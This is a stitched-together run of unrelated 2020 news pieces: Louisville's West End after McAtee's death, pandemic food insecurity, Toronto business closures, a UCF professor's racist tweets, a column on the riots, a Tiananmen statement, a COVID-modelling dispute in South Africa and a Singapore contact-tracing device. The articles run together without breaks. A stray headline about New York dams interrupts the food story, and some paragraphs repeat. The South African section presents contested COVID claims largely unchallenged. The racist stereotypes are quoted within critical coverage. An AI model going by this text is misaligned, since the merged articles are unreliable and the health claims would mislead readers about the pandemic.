Residents of the western part of Louisville, where McAtee was killed, often consider the area ignored by the city. Its a part of town where the inequality and damage done by redlining is apparent.

We havent been funded in the West End for a long time. Not since the 1968 riot, said Ruby Johnson, 38, as she volunteered handing out donated food to the community in front of a boarded-up Kroger supermarket a block from YaYas BBQ that had been looted in the aftermath of McAtees death. Ever since then they pulled out and they aint ever been back. And thats the truth. I been down here my whole life.

As she spoke, she pointed out abandoned buildings, mentioning the businesses that once occupied them but have disappeared. On the street where she owns a nursery, over a third of the homes are abandoned.

Cherrie Vaughn, 42, was nearby at the shuttered Kroger gas station where she had been leading prayer groups following McAtees death. She said she had faith that the upheavals being witnessed in Louisville and around the country would lead to lasting change  not only as far as the relationship between African American communities and police, but as far as equity and opportunity.

I feel like right now the world is at a turning point, she said. Weve been saying it for so long, weve been saying it for so long, weve been saying it for so long and now were at this brick wall and it has to come down.
The Robert Garcia that Robert Garcia always saw in the mirror was the Marine who jumped out of helicopters, the guy who built houses, rode a Harley and had plenty of buddies. Now, thanks to the virus, his reflection shows a man alone in a single room in Santa Fe, N.M., out of work, looking outside and wondering what the neighbors are thinking when the food bank delivers his meals.

"People see them coming and I feel this anxiety that they look at me in a different way," Garcia said. "Like, 'What's wrong with this dude that he's getting food like that?' "

Until March, Fran Bednarek, a nurse in Santa Fe, traveled to the homes of people in need and helped them figure out how to keep it together. Now, she's lost all her income, is stuck inside, and depends on a charity's weekly boxes of frozen dinners.

"I've been fiercely independent all my life," she said. "I don't ask for help. I keep thinking, 'Are you sure I can have this?' I get kind of a guilt feeling of not being able to pay my own way."

Not knowing how they will get their next meal is an entirely new experience for Garcia, Bednarek and many others who have lost their jobs in the economic collapse triggered by the coronavirus pandemic. Thirty percent of American households where people have lost income because of the coronavirus have missed meals or relied on food handouts in recent weeks, according to a Kaiser Family Foundation poll.

Many people who are new to worrying about getting food had low incomes at the start. About a quarter of people making less than $40,000 year said the virus has pushed them to skip meals or seek free food, the poll found.

But the surprise to many food bank managers - and to their new clients - is the number of people one step up the income ladder, in the $40,000 to $90,000 range, who are short on food. About 12% of Americans in that income bracket said they have missed or cut the size of meals in recent weeks.

"We have a group of people who are suddenly struggling to get food," said Santa Fe Mayor Alan Webber, a Democrat. "They're people who are really unused to asking for help, people who thought they had a pretty good handle on life."

The new face of food insecurity is evident throughout a country where tens of millions have lost work. Queues outside food pantries have stretched for blocks in Los Angeles, New York and Pittsburgh. Thirty-six percent of Americans said in an Axios/Ipsos poll in mid-May that their access to food and household needs has diminished in recent weeks.

At the Shrine of the Sacred Heart in the District of Columbia, congregants transformed the Catholic church into a food distribution center, where gloved and masked volunteers prepare hundreds of baskets of beans, oil, rice and carrots.

In St. Louis, public libraries have turned nine branches into drive-through food pickups.

In Santa Fe, the number of people receiving meals from Kitchen Angels, the nonprofit that is helping Garcia and Bednarek, has shot up by 27% in the past six weeks, said Jeanette Iskat, the agency's client services manager.

There has been so much demand - the mayor says Santa Fe is handing out almost twice as much food as it did a year ago - that the Food Depot food bank had to create a drive-through distribution center in the parking lot of a shuttered mall.

The idea that a middle-class existence could tumble into a struggle for subsistence almost overnight has shaken many people who lost jobs or wages because of the nationwide push to curb the spread of the coronavirus.

"I've always been self-sufficient, and I was taught to take care of myself," said T'cha-Mi'iko Cosgrove, a 73-year-old artist who was studying at the Institute of American Indian Arts in Santa Fe when the virus hit, closing the dormitories and dining hall. Now, with no job, no school and no income, he relies on food handouts, with no end in sight.

"I don't know where I'll go or what I'll do," he said. "But I'm not panicking. Today, I'm just not thinking about it."

Until March, Garcia, 58, worked as a security guard on a college campus, but the virus closed the college and Garcia's mother fell ill. Before he knew it, Garcia couldn't pay his rent or buy food. His only income is a disability payment stemming from a motorcycle accident and a neck injury he suffered in the military.

"I'm in an unknown place where I don't have any friends," said Garcia, who is back at the security gig, but only a couple of days a week. "I just get this feeling like people are looking at me. I keep thinking, I'm not that person."

Bednarek had to stop working as a nurse because as a 63-year-old with lung problems, she could no longer visit ill people in their homes. No visits, no income. Her paid time off ran out in 20 hours, and she had no savings.

With no money coming in, she still owed $800 in rent, plus $200 a month for her diabetes medication, plus her car loan and health insurance. Then she learned that she had breast cancer, requiring extensive, expensive treatment. She turned to Kitchen Angels for food.

"As a nurse, I've helped people connect with food banks, but for myself, I didn't even know how to ask for help," she said, noting that she is tough, but that this has thrown her. "I've been so isolated. I'm not in contact with anybody."

She filed for Social Security - she had hoped to wait a few years to maximize her benefits - but the $1,500 she now gets from the government doesn't come close to covering what she needs. The Cancer Foundation for New Mexico paid two months of her rent, and the Anita Salas Memorial Fund, which helps women with breast cancer pay their bills, covered her health insurance until October.

But without the food deliveries, Bednarek said, "I just wouldn't eat."

- - -

The last meal Ketzar Flores and Jose Vilanova had after their jobs evaporated was oatmeal and water. They had $38 left in their bank account.

Vilanova, a land surveyor, had been working as a croupier at a casino in Condado, a resort area near Old San Juan in Puerto Rico. Flores had been a preschool teacher for many years. But the pandemic shut down nearly everything - Puerto Rico's restrictions were especially tight because island leaders feared an unchecked spread of the virus could ravage a health-care system badly damaged by Hurricane Maria in 2017.

Flores, 47, and Vilanova, 50, had led middle-class lives, with income of about $40,000 a year, twice the island average. Now, with no money coming in, they blew through their stores.

Three weeks into the quarantine, Flores gave her husband and their 16-year-old son Armando the last food from their pantry and ignored the pangs in her own stomach.

"You drink water and it goes away," she said. "The sensation goes away."

But mind prevails over matter for only so long. For the first time in her life, Flores applied for food stamps. Stubbornly optimistic, she tried to pretend she didn't feel the stigma of poverty. Idle thoughts, she said, corrupt the soul.

"There is always someone worse off, and they deserve our thoughts," she said.

Flores and Vilanova kept a to-do list hidden in the kitchen cupboard:

1: Call unemployment office.

2. Check on the status of food assistance application.

3. See if federal stimulus check arrived.

If any of those came through, they could replenish their supplies. But there was no movement.

On the day after they finished the oatmeal, a friend who had checked in about whether the couple had found work called again. She asked Flores and Vilanova to meet her in the parking lot of a Walgreens.

When they arrived, the woman, the mother of Armando's friend, was standing with a donation from their church - hot meals in foam containers etched with Bible verses in purple ink: "I can do all things in Christ who strengthens me."

More help followed. Cans of corned beef. Boxes of cereal. Aunt Jemima pancake mix. Things her diabetic husband should not eat.

The couple accepted the help for two weeks, but then decided they could no longer bear the weight on their conscience of accepting what others might need more desperately.

But five weeks into the quarantine, the money had not arrived.

The family eats two meals a day instead of three. Breakfast is a boiled egg or two, soda crackers and cafe con leche. Flores divides the donated meals into parts and makes them last for days.

"Mami, aren't you going to eat?" Armando asked Flores one day during dinner as she scooped two spoonfuls of rice and ham for each of her men. She served herself one spoonful.

"No, don't worry about me," she said, "I'm still full from the last meal."

Her son didn't say a word.

Weeks six, seven and eight passed by. Not one employer responded to Vilanova's pleas. The family's unemployment payments were still pending. Still no word on their application for nutrition assistance.

Family members gave them seeds to grow pumpkins, green onions, tomatoes and cucumbers. A friend contacted a local nonprofit, without telling Flores, and the group delivered boxes of canned goods.

The other day, Flores noticed something as she put on her pants. "I had to pull the drawstrings tighter to tie around my waist," she said. "I can see it in my husband's neck too."

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

This was not how they had wanted to lose weight.

- - -

The curious structure of the country's food supply network has been confounding and frustrating for many people who have had a more difficult time getting meals this spring.

It is not only farmworkers who have lost their livelihoods. Farmers, too, have found themselves in financial distress - compounded by the dispiriting reality that they have had to destroy crops that have no buyers.

Hank Scott hoped his children would eventually inherit the farm his father started in 1963 in Central Florida, 30 miles northwest of Orlando. Then the coronavirus tangled the supply chain that provided a market for his cucumbers.

Springtime is when Scott normally supervises an army of harvesters who send tons of cukes to pickle houses all along the East Coast. This year, he has spent that time pleading with creditors and applying for every sort of farm assistance.

His suppliers "want me to figure out a way to pay them back before they do business with me in the fall," said Scott, 64. "I'm telling them, I've always paid my bills in the past. I have never not paid you eventually. Will you work with me so I can do another crop so I can pay you back?"

This year, Scott's workers picked at most 60 acres of his 400 acres of cucumbers. So he invited volunteers from a Christian hunger relief organization, the Society of St. Andrew, to glean as much produce as they could and donate it to nearby food banks. But they could only haul and distribute so much.

The rest had to be plowed back into the ground, feeding no one, adding to Scott's ballooning losses - a scenario that has become all too common across the country as dairy farmers dump millions of gallons of milk and workers at meat processing plants fall ill with covid-19, forcing the shuttering of many factories.

"We've been in tough times before," Scott said. "I don't think we've ever been in this rough a deal. I just have to figure out a way to survive a little bit longer."

- - -

For people who lived closer to the edge even before the virus arrived, the pandemic has meant a plunge to a new level of improvisation and dependence.

Abel Zavala came to America from Mexico, legally. His family followed. It carved out a living in the mushroom farms of Pennsylvania's southeastern corner. But the virus has meant shorter hours on the farm for his wife, Guadalupe, and for their 17-year-old daughter, Jennifer, who worked at a McDonalds.

Then, in mid-May, Guadalupe's mother died, so the family pooled funds for Jennifer and her to go to Mexico.

That left Zavala, 45, at home in Kennett Square - which bills itself as the mushroom capital of the world - cooking eggs and bacon for his 11-year-old son, Abel Jr.

"Financially, it's been very difficult," he said in Spanish. "But we're healthy, which is what matters."

Sidelined from farm labor by a back injury that requires surgery - postponed by the virus emergency - Zavala has stepped up his visits to the Food Cupboard, a local food bank.

The Food Cupboard is serving more than twice as many people as it did before the pandemic. On Fridays, about 350 people have been queuing up for food boxes. More than half the people now seeking food are first-timers, many of them immigrant farmworkers. For the mushroom farms, the virus's impact was harsh and swift: Restaurants canceled bulk orders, leaving farmers to donate or destroy their produce. Workers lost their jobs. Some were turned out of communal living quarters after testing positive, leaving them homeless.

"The health crisis has become a hunger crisis," said Leah Reynolds, director of Kennett Area Community Service, which runs the food bank.

- - -

The search for food for her family is nothing new for Naomi Wanzer. Living on alimony, Medicaid and her daughter's food stamps, Wanzer used to travel to three churches and other food pantries in Prince William County in northern Virginia each week to feed her son, daughter and granddaughter.

But many churches have closed their food programs because the virus made it difficult to gather volunteers and use indoor facilities.

And with so many more people seeking food handouts now, the food bags Wanzer does get don't go as far as they used to, she said.

Wanzer, 46, sees all the new people waiting for food and she wonders: "These people are a little bit going through what I went through growing up, not having a mother, not having a father, being in foster care. I feel so bad for everybody that's not used to it. It might shake me a little, this disease, but I've been having to worry about things my whole life. This is how it feels."

- - -

The Washington Post's Cleve R. Wootson Jr. in Florida contributed to this report.
As he looks around the neighbourhood his family has been a part of since arriving from Italy in 1957, Rocco Mastrangelo Jr. sees familiar sights disappearing.

Il Gatto Nero, a longtime friendly competitor of his familys Cafe Diplomatico in Little Italy, has closed. Mastrangelo fears there will be many more, estimating that up to 40 per cent of small businesses in the densely packed area known for family-run Italian stores and restaurants will close permanently because of the COVID-19 pandemic.

Whats happening now is not sustainable, said Mastrangelo, whose family opened Cafe Diplomatico in 1968.

Mastrangelo has been running the College Street restaurant for around 25 years. He said its been heartbreaking to see other long-standing businesses close their doors, as its the mix of different businesses that make this neighbourhood a destination.

Its been horrible, he said.

Across Toronto, many neighbourhoods known for their independent, distinctive character are at risk of seeing local institutions close, businesses owners and analysts say.

The Star reached out to the citys 83 business improvement associations through the Toronto Association of Business Improvement Areas, and focused in on regions where there were reports of long-standing family-run institutions that could be shut forever.

Mastrangelo says while many of the businesses closing were on the verge anyway  like his parents passion project, a video store  many others were popular restaurants and cafes just waiting for the spring and summer rush to refill their coffers.

As both a commercial tenant and a landlord, he said he doesnt think the current conditions are sustainable. Businesses are waiting to open, and restaurants in particular are struggling, he said.

A survey published April 23 by Restaurants Canada found that one in two independent restaurants didnt expect to survive the following three months without improved conditions.

Many restaurants and bars have closed across the city  the Anishinaabe restaurant Nishdish, Greektown favourite Pappas Grill, and Cajun-Creole restaurant Southern Accent.

Conditions were difficult for small businesses before the pandemic, with rising property taxes and rent, Mastrangelo said. College Street was already going through a transition, with some older mom and pop stores starting to close, and the pandemic just accelerated that, he said.

Maria Galipo, treasurer of the Little Italy College Street BIA, said neighbourhoods like hers are being hit harder by business closures due to the pandemic. She said its because these destination neighbourhoods are known for small, family-owned businesses that have been around for years.

I think theres going to be a huge shift, said Galipo, co-owner of Sicilian Sidewalk Cafe, also on College Street, established in 1959.

In April, Galipo sent an open letter to all levels of government asking them to make sure that relief programs were available to small businesses.

If appropriate measures are not provided to these establishments, we will forever lose the charm and character that has been such a rich and integral part of our lives, she wrote.

Many small businesses are in sectors that were the first to be shut down, and will be among the last to reopen: restaurants, small retailers and personal services, said Ryan Mallough, director of provincial affairs for Ontario with the Canadian Federation of Independent Businesses.

Even when government aid is offered, said Mallough, small businesses have a harder time accessing it.

Theres a huge administrative burden in accessing government money, even when the program is well designed. The Walmarts of this world have legal departments to handle these things. A small business doesnt.

Mallough argues that small businesses collectively are just as vital to the economy as any of the major companies governments often prioritize with their aid.

But most simply dont have as much access to capital as larger corporations, he said.

People take out mortgages on their homes to start small businesses. And they dont have a lot of extra room financially.

For businesses in the multi-ethnic York-Eglinton BIA, COVID-19 has been the second half of a devastating one-two punch that started with the Crosstown LRT construction, says the BIAs chair, Nick Alampi.

This has been devastating, said Alampi, who owns Andrews Formals tuxedo rental shop.

Even though hes now open, cancellations have been coming in left, right and centre, Alampi said, as the pandemic means weddings, graduations and other gatherings are put on hold.

Dominic Lim, who studies independent businesses, says small businesses cluster in particular areas partly for economic reasons, such as affordable rents and available space, but also because theyre simply going where their target market is.

Look at Liberty Village or Queen West. Of course there are going to be hip, independent places in those neighbourhoods, said Lim, assistant professor of entrepreneurship at Western Universitys Ivey School of Business.

In York-Eglinton, the vast majority of businesses are small, independent operations, many of them catering to the Caribbean and Filipino communities, Alampi said. There are also plenty of small Italian and Portuguese businesses.

There are so many unique little spots with stuff you just cant find anywhere else, Alampi said.

Many small business owners in the area had already been struggling to survive the Crosstown construction, which has now been extended until 2022. Now, Alampi said, with COVID-19, some are simply closing up shop for good. Alampi said the York-Eglinton BIA has dropped to just 100 active members from 150 about two years ago.

Some small business owners in the area have tried to take out second mortgages on their homes, Alampi said. But banks have turned them down, himself included, citing the lack of revenue.

In the Church-Wellesley BIA, the heart of Torontos LGBTQ community, the loss of some beloved institutions is deeply felt. For example, Club 120 and its counterpart Diner 120, which are further south on Church Street, had to close their doors, after providing a favourite spot for what co-owner Todd Klinck called the extreme diversity of Torontos various LGBTQ communities.

Other areas of Toronto havent seen high rates of closure just yet, but anticipate them in the near future if things dont change.

According to Philip Kocev, treasurer of the Broadview Danforth BIA, only four businesses in the area have permanently shuttered so far. But he worries the number will grow.

We are fearful that as the state of emergency continues to get extended ... this number will quickly increase, he said in an email.

A survey of the BIAs businesses released Thursday showed that 72 per cent of them could not make all of Junes rent; 42 per cent did not qualify for the federal wage subsidy; 28 per cent did not qualify for the federal $40,000 loan; and 36 per cent did not qualify for rent assistance.

Mary Fragedakis, executive director of the Greektown Danforth BIA, said many small businesses are falling through the cracks of the government programs.

The impacts have been devastating for small businesses, she said.

While she estimates that less than 10 of the businesses in her BIA have permanently closed so far, she too thinks that the longer this goes on without widely available government support, the more businesses will have to make that decision.

The longer this lasts, the more difficult this becomes.

With files from Josh Rubin
A professor from the University of Central Florida is under investigation after he claimed 'white Americans and white culture were under siege' while making several racist stereotypes about black people in the country.

The announcement from UCF came just a day after the associate psychology professor, Charles Negy, took to Twitter to offer his comments surrounding the mythological 'black privilege.'

He said in a Wednesday tweet: 'If African Americans as a group, had the same behavioral profile as Asian Americans (on average, performing the best academically, having the highest income, committing the lowest crime, etc.), would we still be proclaiming 'systematic racism' exists?'

The announcement from UCF came just a day after the associate psychology professor, Charles Negy, took to Twitter to offer his comments surrounding the mythological 'black privilege'

Many eviscerated the professor for the racist stereotypes he tried to push off as proven data, failing to contextualize several key points.

The professor, author of 'White Shaming: Bullying based on Prejudice, Virtue-Signaling, and Ignorance' said in follow up tweets: 'Black privilege is real: Besides affirm. action, special scholarships and other set asides, being shielded from legitimate criticism is a privilege. But as a group, they're missing out on much needed feedback.'

He continued: 'This subgroup of Blacks has *lots* of problems (many likely missing fathers, having dysfunctional, uneducated mothers, surrounded by peers with sociopathic tendencies). Lots of obstacles in life. No one knows what the solution is to this complicated situation.

Many eviscerated the 60-year-old professor, who was granted tenure by the university in 2001, for the racist stereotypes he tried to push off as proven data, failing to contextualize several key points. He was also slammed for victim blaming, not looking at the factors that contributed to some of the points he attempted to make.

The professor, author of 'White Shaming: Bullying based on Prejudice, Virtue-Signaling, and Ignorance' said in follow up tweets: 'Black privilege is real: Besides affirm. action, special scholarships and other set asides, being shielded from legitimate criticism is a privilege. But as a group, they're missing out on much needed feedback'

He continued: 'This subgroup of Blacks has *lots* of problems (many likely missing fathers, having dysfunctional, uneducated mothers, surrounded by peers with sociopathic tendencies). Lots of obstacles in life. No one knows what the solution is to this complicated situation

'As an Asian American student attending UCF, I am deeply angry at this message perpetuating the model minority myth to deny the injustices against Black communities,' declared one Twitter user. 'NEVER proclaim monolithic APIDA experiences again until you have learned about systemic racism.'

'Here's a comprehensive study on why the mmm (model minority myth) is complete and utter bulls**t and harmful to Asian Americans.'

Statistics have long proven that white women have actually benefitted the most from affirmative action, as reported by Vox in 2016.

Another user added: 'That is privileged comment to make. Try growing up with a system built for 400 years to suppress you and then come back and see if you can still make this comment.'

'On behalf of China - go f**k yourself Charles,' a different person stated.

'As an Asian American student attending UCF, I am deeply angry at this message perpetuating the model minority myth to deny the injustices against Black communities,' declared one Twitter user. 'NEVER proclaim monolithic APIDA experiences again until you have learned about systemic racism'

Another user added: 'That is privileged comment to make. Try growing up with a system built for 400 years to suppress you and then come back and see if you can still make this comment

'On behalf of China - go f**k yourself Charles,' a different person stated

'The privilege of saying 'stay in school' wow! fool,' another declared

'The privilege of saying "stay in school" wow! fool,' another declared.

UCF released a statement on Twitter slamming the professor's remarks but stressed they would need to be 'mindful of the First Amendment.

'Being actively anti-racist means calling out and confronting racist comments,' the university said on Twitter.

'We are aware of Charles Negy's recent personal Twitter posts, which are completely counter to UCF's values. We are reviewing this matter further while being mindful of the First Amendment.'

In an interview with the New York Times on Thursday, the professor defended his racist remarks and claimed that he was critical of all groups.

'Despite what so many 'haters' are saying about me on Twitter, I've never said ANYTHING critical of George Floyd,' Negy said. 'The man was murdered in cold blood by a man who was a total sadist. So cruel.'

He added: 'In my classes, we critically look at various groups, including whites. There is no way I can be brutally honest about each racial/cultural group without offending someone.'

UCF released a statement on Twitter slamming the professor's remarks but stressed they would need to be 'mindful of the First Amendment

In a letter to students, school president Alexander N Cartwright and two other officials condemned the remarks

In a letter to students, school president Alexander N Cartwright and two other officials condemned the remarks.

'We have been receiving complaints alleging bias and unfair treatment in Dr. Negy's classroom and have launched an inquiry to gather more information,' the administrators said in the letter.

'Everyone has the right to their personal beliefs, but no university employee may mistreat or discriminate against students in their classes or in any other setting,' the letter stated. 'No student should fear they will be treated differently because of others' personal biases.'

Cartwright added that the university would take action against the professor if they found evidence of discrimination in the classroom or online.

Interim provost Michael Johnson said that tenured professors could be removed for misconduct in the classroom.

'We can act when people's conduct is in the course of their job, when it's in their classroom, when it's with their colleagues,' he said. 'People's behavior is something we can act upon. But we can't act on people's speech outside the university.'

The university is asking for students to come forward if they have experienced racist and intollerant behavior
Americas racial hang-up is black and white. And, as a Latino, Ive never been more grateful to not belong to either group.

Because Im neither black nor white, I see things clearly. I dont play favorites. Both groups are whacked.

I want everyone held accountable for their actions  from police officers who abuse their authority to vandals who loot and destroy.

And I see racism in all forms  whether its coming from white conservatives who expect people of color to put up with so much, or from white liberals who have come to expect so little from them.

White conservatives essentially tell black people: You can stand near me, just dont get angry, violent or destructive. White liberals tell them: You can get angry, violent and destructive, just dont do it near me.

As long as protesters are rioting, looting and setting fires in black neighborhoods, city officials in Democratic cities like Los Angeles let the mayhem run its course. But the minute that protesters cross the freeway and break into the Gucci store on pricey Rodeo Drive in Beverly Hills, those same officials call out the National Guard.

Once more, America has descended into madness. This black-and-white movie has played before  in Watts 1965, Miami 1980, Crown Heights (New York) 1991, Los Angeles 1992. We know how it ends. There will be spilled blood, mutual distrust and hurt feelings but no solution.

Yet, at the same time, so much of what were going through feels like uncharted territory. People have never been this angry, or this divided, since the Civil War. Everyone, it seems, hates everyone.

One minute, were told by media liberals and do-gooder Democratic politicians that the riots and looting are understandable expressions of rage over centuries of African Americans being mistreated  and then were being made to feel as if theyre crazy and imagining the whole thing.

The next minute, a Seattle television station airs footage of a young white woman exiting a closed Cheesecake Factory that has been looted. She is holding an unboxed medium-sized cheesecake topped with strawberries in one hand and a Champagne flute in the other.

What historical grievance does this woman have, I wonder. Or maybe she just has guests coming for brunch, and she needs dessert.

Much of the outrage that African Americans feel over the killing of 46-year-old George Floyd by four former officers of the Minneapolis Police Department has been hijacked by young white kids who use the wheels of skateboards to break windows.

Of course, white people are opportunistically appropriating the outrage of black America. Thats not new. For generations, white folks have shamelessly co-opted black folks music, fashion, food.

But thats not the whole story. Bored young people from the suburbs  some of them home from college because of COVID-19  are going to the downtown areas of major cities to wreak havoc and break things.

These arent thugs. Theyre punks. And theyre angry. Theyve been angry for more than 20 years, dating back to the protests in Seattle in 1999 over the World Trade Organization. Interestingly enough, they dont seem angry at police  except when police get in their way.

Theyre angry at corporations  particularly the companies theyve grown up with. Why else would they shatter the windows of so many Starbucks shops? To get inside and steal coffee?

Wrong. Look at the companies whose offices and stores have been attacked. CNN. Apple. Chase Bank. The more familiar a brand is to young people, the more of a target it becomes. Google, watch your back.

This mysterious white rage  which is especially loud and violent, among young men  has been there, and weve turned a blind eye.

On Twitter, there are videos of black people pleading with white kids to not destroy stores in black neighborhoods. The kids ignore them.

Meanwhile, in Oakland, Calif., someone fired a shot into the federal building and killed a law enforcement officer. The dead officer, 53-year-old Patrick Underwood, was black.

To understand race in America, take a crayon box and empty out all the colors except for two. Just as it has been for 400 years, Americas dominant racial paradigm is still black and white.

Asian Americans, Muslim Americans and Latinos, we all accept that as a fact of life. Some might think that ONWs (other nonwhites) want to horn in on that racial dynamic to get our share of attention.

No thanks. You can have it. These crayons are poison.

ruben@rubennavarrette.com
RTHK: US says Tiananmen slaughter will not be forgotten

The White House, in a statement on the 31st anniversary of China's Tiananmen Square crackdown, urged Beijing on Thursday to respect human rights, fulfill its commitments on Hong Kong and end persecution of ethnic and religious minorities.

"The Chinese Communist Party's slaughter of unarmed Chinese civilians was a tragedy that will not be forgotten," the White House said.

It urged the Chinese government to fulfill its commitments under the Universal Declaration of Human Rights and the Sino-British Joint Declaration governing Hong Kong's status, and to "uphold the rights and freedoms guaranteed to all Chinese citizens under China's constitution, and to end the systematic persecution of millions of ethnic and religious minorities."

The anniversary of China's bloody 1989 crackdown on pro-democracy activists coincides with widespread protests across the United States against racism and police brutality touched off by the killing of a black man while in custody of white Minneapolis police officers.

US President Donald Trump has threatened to militarise the response to the mass demonstrations, saying he could deploy the military in states that fail to crack down on the sometimes violent protests.

"The American people stand together with all Chinese citizens in their pursuit of fundamental rights, including the right to accountable and representative governance and freedom of speech, assembly, and religious belief," the White House said. (Reuters)

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Pandemics, Data, and Analytics (PANDA) coordinators said there has been a breathtaking failure by COVID-19 modellers whose coronavirus death predictions for South Africa amounted to scaremongering.

Speaking to Biznews, PANDA co-ordinator Nick Hudson said the official modelling of South Africas projected mortalities from COVID-19 started at 375,000.

Hudson said this extremely high mortality figure scared the living daylights out of President Cyril Ramaphosa.

When he saw forecasts which entailed a two-and-a-half million shortage of hospital beds  it was that forecast which made us enter into a state of disaster and eventually the lockdown, he said.

He said that, over time, these forecasts have been significantly reduced to 40,000 mortalities, which they still believe is a drastic over-estimate.

Hudson referred to recent modelling which predicts that South Africa could see about 40,000 COVID-19 deaths by November.

The models also show there will be between 1.2 million and 1.6 million symptomatic COVID-19 cases during peaks in July or August.

South Africa is likely to see a peak demand for hospital and intensive care unit (ICU) beds between August and September, the research said.

Despite the reduction in predicted symptomatic COVID-19 cases and deaths, Hudson and PANDA remain sceptical.

The actual format and structure of these models are wrong and have been proven to be wrong every day. This model class should not be used at all, said Hudson.

He said PANDA was involved in Health Minister Zweli Mkhizes recent modelling symposium and made their case as to why the models which are currently used are wrong.

Despite highlighting very specific problems with the COVID-19 forecasting models, they have had no engagement from any of the parties involved.

In our mind, it is an admission of guilt. They know their models are wrong and not appropriate, said Hudson.

Two major flaws with current COVID-19 models

Hudson explained there are two major flaws with the COVID-19 models which are used to forecast the impact of the virus in South Africa:

The forecast of continuous exponential growth which was not seen anywhere in the world.

An incorrect assumption about the number of people who are susceptible to the disease and dangerous infection.

Hudson explained the way the COVID-19 models work is that you build a complicated exponentiating state model  something that treats people as random variables.

Exponentiation is a mathematical operation involving two numbers  the base number and the exponent (power). It explains the expected exponential growth.

is a mathematical operation involving two numbers  the base number and the exponent (power). It explains the expected exponential growth. The states of the COVID-19 models are typically susceptibility, being exposed to the virus, being infected, and then either recovering or dying.

These models, which are based on exponential growth, have to be calibrated. This is done by making assumptions.

What an exponentiating growth involves is that each day you get a constant extra percentage more cases or deaths. That results in the rapid escalation of the number of cases and deaths, said Hudson.

This has not been observed anywhere in the world. Normally the exponentiating phase, if there really is one at all, is very short and then the growth rate of cases starts dropping off, he said.

The second problem, Hudson said, is that COVID-19 modellers seem to make an assumption that all people are susceptible to the disease and dangerous infection.

In the real world, however, the actual story is much lighter. You have 10%, maybe 20%, maybe as high as 25%. That makes a big difference, said Hudson.

If you have 30%, 50% or 80% of people in your population who deal with the virus very easily, it makes a big difference.

He said every population in the world has many people who are simply resistant to COVID-19. That is a robust finding. You will not find a single data point which refutes it.

Predicted death rate

While the number of projected mortalities were lowered from 375,000 to 40,000, Hudson said this is still much higher than their models.

Our observation is that estimates of South African deaths in the 40,000 plus range are outlandish, Hudson said in an open letter.

He added that the model used to predict the number of infections and mortalities in South Africa has not been made public, which is deeply problematic.

It is, in our view, scandalous that the models the South African government has been presented with could ever have produced a number of 351,000 fatalities, Hudson said.

He added that the adjustment of the best-case scenario  i.e. with a hard lockdown  from 89,000 fatalities to 40,000 without any explanation is equally scandalous.

Hudson said the lower-bound estimates profoundly overestimate the magnitude of the COVID-19 epidemic in South Africa  by a factor of at least four  and the timing of the peak by several months.

He said their modelling shows South Africa will have around 18,000 deaths based on the age distribution in the country.

Hudson also dismissed concerns about the rapid rise in confirmed COVID-19 cases in recent weeks.

He argued that the government is not reporting the number of COVID-19 infections in South Africa, but rather the number of detections.

He said there are can be over a million COVID-19 infections in South Africa  mostly undetected  where most of these people will have mild or no symptoms and simply get on with their lives.

Considering the inflated COVID-19 forecasts, PANDA urged Ramaphosa to not to risk further harm to the economy by opting for a gradual reduction to Level 2, but instead to reduce the lockdown to Level 1 as the next step.

Nick Hudson Biznews Interview

PANDAs Open Letter to President Cyril Ramaphosa

Dear Mr. President, As South Africa enters Level 3 of the Coronavirus disease 2019 (COVID-19) lockdown, we write to you with a deep sense of concern and dire urgency. You may recall from our previous communications that Pandemic ~ Data and Analytics (PANDA) technical team brings to bear knowledge from the fields of actuarial mathematics, economics, data science and medicine, amongst others. PANDA aims to assist stakeholders in their efforts to make the best-possible informed decisions. The central premise of our approach is that the impact of lockdown must be understood and quantified in order to make informed decisions. We need to understand not just what the impact of lockdown will be on COVID-19, but what the impact will be on livelihoods and the lives that are inextricably linked thereto. Our estimates of the long-term economic damage and loss of life that South Africa could still endureappended to this letter and previously shared with Your Excellencys office, colleagues on the National Coronavirus Command Council (NCCC) as well as other spheres of governmenthave made it increasingly clear that a more rapid de-escalation of the COVID-19 lockdown is required to save our economy, the livelihoods of millions of South Africans and ultimately lives. We agree with Your Excellencys remark that lockdown has become a blunt tool, and would add that the blunt edge of that tool strikes the poor hardest. We note that during the virtual forum with the South African National Editors Forum (SANEF) held on Sunday, 31 May, Your Excellency mentioned that: (The medical scientists who have been advising the NCCC) also said once we went through Level 5 and Level 4, they also said the lockdown has served its purpose. In fact, what they were also advising was that you could quite easily go to Level 1. Our scientists concur with them. We note that the World Health Organization (WHO), whose current estimate is 23,661 South African deaths from COVID-19, recommends a gradual removal of lockdown conditions that weighs against this. It is our strong view that this advice is misguided. Each of the preconditions suggested by the WHO are unachievable by almost all countries and is neither based on science, nor adequately takes into account the negative impacts of lockdown. Indeed, it has become abundantly clear in our country as in others that lifting lockdowns does not result in the feared resurgence of cases and deaths that the WHO and various modelling teams have predicted. The WHOs recommended guidance is a broad framework which fails to take into account the specific circumstances of any individual country and as such is entirely impractical in the South African context. The lockdown is increasingly unpopular in South Africa and with 230,000 of our citizens having already been charged for contravention of lockdown regulations, it is instilling a culture of lawlessness. Another question weighing on Your Excellencys mind is likely the projections of the various modelling teams. At Minister Mkhizes COVID-19 Modellers Symposium of 21 May, we pointed out that all of the models presented were inconsistent with evidence that had emerged internationally, and we invited engagement with these teams to help them correct their models. Even as contradicting evidence has continued to mount, making the case against continued deployment of these models overwhelming, we disappointingly see no material effort on behalf of the modelling teams to apply the basic principles of the scientific method or to lift the veil of secrecy that shrouds their work. It remains our opinion that even their lower-bound estimates profoundly overestimate the magnitude of the COVID-19 epidemic in South Africa (by a factor of at least four) and the timing of the peak (by several months). We advise caution in premising the allocation of scarce resources on these models, which appear to us to represent pseudoscience. We remain deeply sensitive to the onerous position that policymakers occupy. The PANDA team remains willing to support decision-making and serve at Your Excellencys pleasure. We urge Your Excellency not to risk further harm to the economy by opting for a gradual reduction to Level 2, but instead to reduce the lockdown to Level 1 as the next step. We trust our request will receive due consideration and would appreciate an acknowledgement of receipt together with a possible date at which we can present our critical findings. Kind Regards Nick Hudson

Open letter to Prof. Juliet Puliam of SACEMA
For Singapore, contact tracing apps might not be enough to help reopen the economy as the COVID-19 pandemic eases. Smart nation minister Vivian Balakrishnan has revealed that the city-state is close to releasing a wearable contact tracing device that it may soon hand out to everyone in Singapore. Its not certain if the device would be mandatory, but that amounts to giving 5.7 million residents a gadget whether or not they want to use it.

The hardware could be worn on a lanyard or carried in a bag, and isnt dependent on a phone.

